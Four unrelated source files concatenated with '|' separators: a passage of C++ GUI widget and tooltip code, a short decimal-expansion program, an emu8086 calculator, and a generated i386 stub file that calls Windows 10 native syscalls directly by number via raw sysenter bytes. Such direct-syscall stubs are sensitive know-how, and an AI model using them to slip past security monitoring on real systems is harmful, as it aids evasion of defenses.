CFWL_WidgetMgr* pWidgetMgr =
static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (!pWidgetMgr)
return NULL;
pMessageForm =
pWidgetMgr->GetWidget(pDstTarget, FWL_WGTRELATION_SystemForm);
}
return pMessageForm;
}
void CFWL_NoteDriver::ClearInvalidEventTargets(FX_BOOL bRemoveAll) {
FX_POSITION pos = m_eventTargets.GetStartPosition();
while (pos) {
void* key = NULL;
CFWL_EventTarget* pEventTarget = NULL;
m_eventTargets.GetNextAssoc(pos, key, (void*&)pEventTarget);
if (pEventTarget && (bRemoveAll || pEventTarget->IsInvalid())) {
m_eventTargets.RemoveKey(key);
delete pEventTarget;
}
}
}
class CFWL_CoreToopTipDP : public IFWL_ToolTipDP {
public:
FWL_ERR GetCaption(IFWL_Widget* pWidget, CFX_WideString& wsCaption);
int32_t GetInitialDelay(IFWL_Widget* pWidget);
int32_t GetAutoPopDelay(IFWL_Widget* pWidget);
CFX_DIBitmap* GetToolTipIcon(IFWL_Widget* pWidget);
CFX_SizeF GetToolTipIconSize(IFWL_Widget* pWidget);
CFX_RectF GetAnchor();
CFWL_CoreToopTipDP();
CFX_WideString m_wsCaption;
int32_t m_nInitDelayTime;
int32_t m_nAutoPopDelayTime;
CFX_RectF m_fAnchor;
};
CFWL_CoreToopTipDP::CFWL_CoreToopTipDP() {
m_nInitDelayTime = 500;
m_nAutoPopDelayTime = 50000;
m_fAnchor.Set(0.0, 0.0, 0.0, 0.0);
}
FWL_ERR CFWL_CoreToopTipDP::GetCaption(IFWL_Widget* pWidget,
CFX_WideString& wsCaption) {
wsCaption = m_wsCaption;
return FWL_ERR_Succeeded;
}
int32_t CFWL_CoreToopTipDP::GetInitialDelay(IFWL_Widget* pWidget) {
return m_nInitDelayTime;
}
int32_t CFWL_CoreToopTipDP::GetAutoPopDelay(IFWL_Widget* pWidget) {
return m_nAutoPopDelayTime;
}
CFX_DIBitmap* CFWL_CoreToopTipDP::GetToolTipIcon(IFWL_Widget* pWidget) {
return NULL;
}
CFX_SizeF CFWL_CoreToopTipDP::GetToolTipIconSize(IFWL_Widget* pWidget) {
CFX_SizeF sz;
sz.Set(0, 0);
return sz;
}
CFX_RectF CFWL_CoreToopTipDP::GetAnchor() {
return m_fAnchor;
}
CFWL_EventTarget::~CFWL_EventTarget() {
m_eventSources.RemoveAll();
}
int32_t CFWL_EventTarget::SetEventSource(IFWL_Widget* pSource,
FX_DWORD dwFilter) {
if (pSource) {
m_eventSources.SetAt(pSource, dwFilter);
return m_eventSources.GetCount();
}
return 1;
}
FX_BOOL CFWL_EventTarget::ProcessEvent(CFWL_Event* pEvent) {
IFWL_WidgetDelegate* pDelegate = m_pListener->SetDelegate(NULL);
if (!pDelegate)
return FALSE;
if (m_eventSources.GetCount() == 0) {
pDelegate->OnProcessEvent(pEvent);
return TRUE;
}
FX_POSITION pos = m_eventSources.GetStartPosition();
while (pos) {
IFWL_Widget* pSource = NULL;
FX_DWORD dwFilter = 0;
m_eventSources.GetNextAssoc(pos, (void*&)pSource, dwFilter);
if (pSource == pEvent->m_pSrcTarget ||
pEvent->GetClassID() == FWL_EVTHASH_Idle) {
if (IsFilterEvent(pEvent, dwFilter)) {
pDelegate->OnProcessEvent(pEvent);
return TRUE;
}
}
}
return FALSE;
}
FX_BOOL CFWL_EventTarget::IsFilterEvent(CFWL_Event* pEvent, FX_DWORD dwFilter) {
if (dwFilter == FWL_EVENT_ALL_MASK) {
return TRUE;
}
FX_BOOL bRet = FALSE;
switch (pEvent->GetClassID()) {
case FWL_EVTHASH_Mouse: {
bRet = dwFilter & FWL_EVENT_MOUSE_MASK;
break;
}
case FWL_EVTHASH_MouseWheel: {
bRet = dwFilter & FWL_EVENT_MOUSEWHEEL_MASK;
break;
}
case FWL_EVTHASH_Key: {
bRet = dwFilter & FWL_EVENT_KEY_MASK;
break;
}
case FWL_EVTHASH_SetFocus:
case FWL_EVTHASH_KillFocus: {
bRet = dwFilter & FWL_EVENT_FOCUSCHANGED_MASK;
break;
}
case FWL_EVTHASH_Draw: {
bRet = dwFilter & FWL_EVENT_DRAW_MASK;
break;
}
case FWL_EVTHASH_Close: {
bRet = dwFilter & FWL_EVENT_CLOSE_MASK;
break;
}
case FWL_EVTHASH_SizeChanged: {
bRet = dwFilter & FWL_EVENT_SIZECHANGED_MASK;
break;
}
case FWL_EVTHASH_Idle: {
bRet = dwFilter & FWL_EVENT_IDLE_MASK;
break;
}
default: {
bRet = dwFilter & FWL_EVENT_CONTROL_MASK;
break;
}
}
return bRet;
}
CFWL_ToolTipContainer* CFWL_ToolTipContainer::s_pInstance = NULL;
CFWL_ToolTipContainer::CFWL_ToolTipContainer()
: pCurTarget(NULL), m_pToolTipImp(NULL) {
m_ToolTipDp = new CFWL_CoreToopTipDP;
m_ToolTipDp->m_nInitDelayTime = 0;
m_ToolTipDp->m_nAutoPopDelayTime = 2000;
}
CFWL_ToolTipContainer::~CFWL_ToolTipContainer() {
if (m_pToolTipImp) {
IFWL_ToolTip* pToolTip =
static_cast<IFWL_ToolTip*>(m_pToolTipImp->GetInterface());
pToolTip->Finalize();
delete pToolTip;
}
delete m_ToolTipDp;
}
// static
CFWL_ToolTipContainer* CFWL_ToolTipContainer::getInstance() {
if (!s_pInstance) {
s_pInstance = new CFWL_ToolTipContainer;
}
return s_pInstance;
}
// static
void CFWL_ToolTipContainer::DeleteInstance() {
if (s_pInstance) {
delete s_pInstance;
s_pInstance = NULL;
}
}
FX_ERR CFWL_ToolTipContainer::AddToolTipTarget(IFWL_ToolTipTarget* pTarget) {
if (m_arrWidget.Find((void*)pTarget) < 0) {
m_arrWidget.Add((void*)pTarget);
return FWL_ERR_Succeeded;
}
return FWL_ERR_Indefinite;
}
FX_ERR CFWL_ToolTipContainer::RemoveToolTipTarget(IFWL_ToolTipTarget* pTarget) {
int index = m_arrWidget.Find((void*)pTarget);
if (index >= 0) {
m_arrWidget.RemoveAt(index);
return FWL_ERR_Succeeded;
}
return FWL_ERR_Indefinite;
}
FX_BOOL CFWL_ToolTipContainer::HasToolTip(IFWL_Widget* pWedget) {
int32_t iCount = m_arrWidget.GetSize();
for (int32_t i = 0; i < iCount; i++) {
IFWL_ToolTipTarget* p = static_cast<IFWL_ToolTipTarget*>(m_arrWidget[i]);
if (p->GetWidget() == pWedget) {
pCurTarget = p;
return TRUE;
}
}
return FALSE;
}
FX_BOOL CFWL_ToolTipContainer::ProcessEnter(CFWL_EvtMouse* pEvt,
IFWL_Widget* pOwner) {
if (HasToolTip(pEvt->m_pDstTarget)) {
if (NULL == m_pToolTipImp) {
CFWL_WidgetImpProperties prop;
prop.m_pDataProvider = m_ToolTipDp;
prop.m_pOwner = pOwner;
CFX_RectF rtTooltip;
rtTooltip.Set(150, 150, 100, 50);
prop.m_rtWidget = rtTooltip;
IFWL_ToolTip* pToolTip = IFWL_ToolTip::Create(prop, nullptr);
pToolTip->Initialize();
m_pToolTipImp = static_cast<CFWL_ToolTipImp*>(pToolTip->GetImpl());
m_pToolTipImp->ModifyStylesEx(FWL_STYLEEXT_TTP_Multiline, 0);
m_pToolTipImp->SetStates(FWL_WGTSTATE_Invisible, TRUE);
}
if (pCurTarget->IsShowed()) {
CFX_WideString wsCaption;
pCurTarget->GetCaption(wsCaption);
if (!wsCaption.IsEmpty()) {
m_ToolTipDp->m_wsCaption = wsCaption;
}
CFX_RectF rt;
rt.Reset();
CFX_SizeF sz;
sz.Reset();
pCurTarget->GetToolTipSize(sz);
if (sz.x > 0 && sz.y > 0) {
rt.width = sz.x;
rt.height = sz.y;
} else {
CFX_RectF r;
m_pToolTipImp->GetWidgetRect(r, TRUE);
rt.width = r.width;
rt.height = r.height;
}
CFX_PointF pt;
pt.Set(pEvt->m_fx, pEvt->m_fy);
if (pCurTarget->GetToolTipPos(pt) == FWL_ERR_Succeeded) {
rt.left = pt.x;
rt.top = pt.y;
m_pToolTipImp->ModifyStylesEx(FWL_STYLEEXT_TTP_NoAnchor, 0);
} else {
CFX_RectF rtAnchor;
pCurTarget->GetWidget()->GetClientRect(rtAnchor);
pCurTarget->GetWidget()->TransformTo(NULL, rtAnchor.left, rtAnchor.top);
m_pToolTipImp->SetAnchor(rtAnchor);
m_pToolTipImp->ModifyStylesEx(0, FWL_STYLEEXT_TTP_NoAnchor);
}
m_pToolTipImp->SetWidgetRect(rt);
m_pToolTipImp->Update();
m_pToolTipImp->Show();
}
return TRUE;
}
return FALSE;
}
FX_BOOL CFWL_ToolTipContainer::ProcessLeave(CFWL_EvtMouse* pEvt) {
if (HasToolTip(pEvt->m_pDstTarget) && NULL != m_pToolTipImp) {
m_pToolTipImp->Hide();
pCurTarget = NULL;
return TRUE;
}
return FALSE;
}
IFWL_ToolTipTarget* CFWL_ToolTipContainer::GetCurrentToolTipTarget() {
return pCurTarget;
}
FX_ERR CFWL_ToolTipContainer::SetToolTipInitialDelay(int32_t nDelayTime) {
m_ToolTipDp->m_nInitDelayTime = nDelayTime;
return FWL_ERR_Succeeded;
}
FX_ERR CFWL_ToolTipContainer::SetToolTipAutoPopDelay(int32_t nDelayTime) {
m_ToolTipDp->m_nAutoPopDelayTime = nDelayTime;
return FWL_ERR_Succeeded;
}
FWL_ERR FWL_AddToolTipTarget(IFWL_ToolTipTarget* pTarget) {
return CFWL_ToolTipContainer::getInstance()->AddToolTipTarget(pTarget);
}
FWL_ERR FWL_RemoveToolTipTarget(IFWL_ToolTipTarget* pTarget) {
return CFWL_ToolTipContainer::getInstance()->RemoveToolTipTarget(pTarget);
}
FWL_ERR FWL_SetToolTipInitialDelay(int32_t nDelayTime) {
return CFWL_ToolTipContainer::getInstance()->SetToolTipInitialDelay(
nDelayTime);
}
FWL_ERR FWL_SetToolTipAutoPopDelay(int32_t nDelayTime) {
return CFWL_ToolTipContainer::getInstance()->SetToolTipAutoPopDelay(
nDelayTime);
}
IFWL_Widget* FWL_GetCurrentThreadModalWidget(IFWL_NoteThread* pNoteThread) {
if (!pNoteThread)
return NULL;
CFWL_NoteDriver* noteDriver =
static_cast<CFWL_NoteDriver*>(pNoteThread->GetNoteDriver());
if (!noteDriver)
return NULL;
if (noteDriver->CountLoop() == 1) {
return NULL;
}
CFWL_NoteLoop* topLoop = noteDriver->GetTopLoop();
if (!topLoop)
return NULL;
CFWL_WidgetImp* widget = topLoop->GetForm();
if (!widget)
return NULL;
return widget->GetInterface();
}
FWL_ERR FWL_SetHook(IFWL_NoteDriver* driver,
FWLMessageHookCallback callback,
void* info) {
CFWL_NoteDriver* noteDriver = static_cast<CFWL_NoteDriver*>(driver);
noteDriver->SetHook(callback, info);
return FWL_ERR_Succeeded;
}
|
; A021329: Decimal expansion of 1/325.
; 0,0,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0,7,6,9,2,3,0
seq $0,173833 ; 10^n - 3.
div $0,325
mod $0,10
|
include 'emu8086.inc'
print 'Enter Number One: '
mov ah,1
int 21h
mov bl,al
printn ''
print 'Enter Number Two: '
mov ah,1
int 21h
mov cl,al
printn ''
print 'Enter Number To choose Add/Div/Mul/Sub:( 1 => Add, 2 => Sub, 3 => div & 4=> mul) '
mov ah,1
int 21h
cmp al,'1'
JE addition
cmp al,'2'
JE subtruction
cmp al,'3'
JE Division
cmp al,'4'
JE multiplication
jmp error
addition:
sub bl,48
sub cl,48
add bl,cl
add bl,48
printn ''
print 'Addition : '
mov ah,2
mov dl,bl
int 21h
printn ''
jmp end
subtruction:
sub bl,48
sub cl,48
sub bl,cl
add bl,48
printn ''
print 'Subtruction : '
mov ah,2
mov dl,bl
int 21h
printn ''
jmp end
Division:
sub bl,48
sub cl,48
mov ah,0
mov al,0
mov al,bl
mov bl,0
div cl
mov cl,0
;reminder
mov bl,ah
add bl,48
mov cl,al
add cl,48
printn ''
printn 'Division'
printn '========'
print 'Reminder: '
mov ah,2
mov dl,bl
int 21h
printn ''
print 'Result: '
mov ah,2
mov dl,cl
int 21h
printn ''
jmp end
multiplication:
sub bl,48
sub cl,48
mov ah,0
mov al,0
mov al,bl
mul cl
mov bl,0
mov bl,al
add bl,48
printn ''
print 'Multiplication: '
mov ah,2
mov dl,bl
int 21h
printn ''
jmp end
error:
print 'Sorry! Wrong choice :p Lol!!'
jmp end
end:
ret |
; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; ssdt asm stub for 10.0.15063-sp0-windows-10-rs2-1703 i386
.686
.mmx
.xmm
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG __stdcall NtAccessCheck( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtAccessCheck PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 0
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheck ENDP
; ULONG __stdcall NtWorkerFactoryWorkerReady( ULONG arg_01 );
NtWorkerFactoryWorkerReady PROC STDCALL arg_01:DWORD
mov eax , 1
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWorkerFactoryWorkerReady ENDP
; ULONG __stdcall NtAcceptConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAcceptConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 2
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAcceptConnectPort ENDP
; ULONG __stdcall NtYieldExecution( );
NtYieldExecution PROC STDCALL
mov eax , 3
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtYieldExecution ENDP
; ULONG __stdcall NtWriteVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWriteVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteVirtualMemory ENDP
; ULONG __stdcall NtWriteRequestData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtWriteRequestData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 5
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteRequestData ENDP
; ULONG __stdcall NtWriteFileGather( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtWriteFileGather PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 6
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteFileGather ENDP
; ULONG __stdcall NtWriteFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtWriteFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 7
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWriteFile ENDP
; ULONG __stdcall NtWaitLowEventPair( ULONG arg_01 );
NtWaitLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 8
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitLowEventPair ENDP
; ULONG __stdcall NtWaitHighEventPair( ULONG arg_01 );
NtWaitHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 9
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitHighEventPair ENDP
; ULONG __stdcall NtWaitForWorkViaWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWaitForWorkViaWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 10
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForWorkViaWorkerFactory ENDP
; ULONG __stdcall NtWaitForSingleObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtWaitForSingleObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 11
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForSingleObject ENDP
; ULONG __stdcall NtWaitForMultipleObjects32( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWaitForMultipleObjects32 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 12
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForMultipleObjects32 ENDP
; ULONG __stdcall NtWaitForMultipleObjects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtWaitForMultipleObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 13
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForMultipleObjects ENDP
; ULONG __stdcall NtWaitForKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtWaitForKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 14
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForKeyedEvent ENDP
; ULONG __stdcall NtWaitForDebugEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtWaitForDebugEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 15
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForDebugEvent ENDP
; ULONG __stdcall NtWaitForAlertByThreadId( ULONG arg_01 , ULONG arg_02 );
NtWaitForAlertByThreadId PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 16
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtWaitForAlertByThreadId ENDP
; ULONG __stdcall NtVdmControl( ULONG arg_01 , ULONG arg_02 );
NtVdmControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 17
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtVdmControl ENDP
; ULONG __stdcall NtUnsubscribeWnfStateChange( ULONG arg_01 );
NtUnsubscribeWnfStateChange PROC STDCALL arg_01:DWORD
mov eax , 18
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnsubscribeWnfStateChange ENDP
; ULONG __stdcall NtUpdateWnfStateData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtUpdateWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 19
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUpdateWnfStateData ENDP
; ULONG __stdcall NtUnmapViewOfSection( ULONG arg_01 , ULONG arg_02 );
NtUnmapViewOfSection PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 20
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnmapViewOfSection ENDP
; ULONG __stdcall NtUnmapViewOfSectionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtUnmapViewOfSectionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 21
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnmapViewOfSectionEx ENDP
; ULONG __stdcall NtUnlockVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtUnlockVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 22
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnlockVirtualMemory ENDP
; ULONG __stdcall NtUnlockFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtUnlockFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 23
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnlockFile ENDP
; ULONG __stdcall NtUnloadKeyEx( ULONG arg_01 , ULONG arg_02 );
NtUnloadKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 24
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadKeyEx ENDP
; ULONG __stdcall NtUnloadKey2( ULONG arg_01 , ULONG arg_02 );
NtUnloadKey2 PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 25
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadKey2 ENDP
; ULONG __stdcall NtUnloadKey( ULONG arg_01 );
NtUnloadKey PROC STDCALL arg_01:DWORD
mov eax , 26
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadKey ENDP
; ULONG __stdcall NtUnloadDriver( ULONG arg_01 );
NtUnloadDriver PROC STDCALL arg_01:DWORD
mov eax , 27
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUnloadDriver ENDP
; ULONG __stdcall NtUmsThreadYield( ULONG arg_01 );
NtUmsThreadYield PROC STDCALL arg_01:DWORD
mov eax , 28
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtUmsThreadYield ENDP
; ULONG __stdcall NtTranslateFilePath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtTranslateFilePath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 29
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTranslateFilePath ENDP
; ULONG __stdcall NtTraceEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtTraceEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 30
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTraceEvent ENDP
; ULONG __stdcall NtTraceControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtTraceControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 31
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTraceControl ENDP
; ULONG __stdcall NtThawTransactions( );
NtThawTransactions PROC STDCALL
mov eax , 32
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtThawTransactions ENDP
; ULONG __stdcall NtThawRegistry( );
NtThawRegistry PROC STDCALL
mov eax , 33
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtThawRegistry ENDP
; ULONG __stdcall NtTestAlert( );
NtTestAlert PROC STDCALL
mov eax , 34
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTestAlert ENDP
; ULONG __stdcall NtTerminateThread( ULONG arg_01 , ULONG arg_02 );
NtTerminateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 35
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateThread ENDP
; ULONG __stdcall NtTerminateProcess( ULONG arg_01 , ULONG arg_02 );
NtTerminateProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 36
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateProcess ENDP
; ULONG __stdcall NtTerminateJobObject( ULONG arg_01 , ULONG arg_02 );
NtTerminateJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 37
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtTerminateJobObject ENDP
; ULONG __stdcall NtSystemDebugControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSystemDebugControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 38
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSystemDebugControl ENDP
; ULONG __stdcall NtSuspendThread( ULONG arg_01 , ULONG arg_02 );
NtSuspendThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 39
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSuspendThread ENDP
; ULONG __stdcall NtSuspendProcess( ULONG arg_01 );
NtSuspendProcess PROC STDCALL arg_01:DWORD
mov eax , 40
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSuspendProcess ENDP
; ULONG __stdcall NtSubscribeWnfStateChange( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSubscribeWnfStateChange PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 41
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSubscribeWnfStateChange ENDP
; ULONG __stdcall NtStopProfile( ULONG arg_01 );
NtStopProfile PROC STDCALL arg_01:DWORD
mov eax , 42
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtStopProfile ENDP
; ULONG __stdcall NtStartProfile( ULONG arg_01 );
NtStartProfile PROC STDCALL arg_01:DWORD
mov eax , 43
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtStartProfile ENDP
; ULONG __stdcall NtSinglePhaseReject( ULONG arg_01 , ULONG arg_02 );
NtSinglePhaseReject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 44
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSinglePhaseReject ENDP
; ULONG __stdcall NtSignalAndWaitForSingleObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSignalAndWaitForSingleObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 45
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSignalAndWaitForSingleObject ENDP
; ULONG __stdcall NtShutdownWorkerFactory( ULONG arg_01 , ULONG arg_02 );
NtShutdownWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 46
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtShutdownWorkerFactory ENDP
; ULONG __stdcall NtShutdownSystem( ULONG arg_01 );
NtShutdownSystem PROC STDCALL arg_01:DWORD
mov eax , 47
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtShutdownSystem ENDP
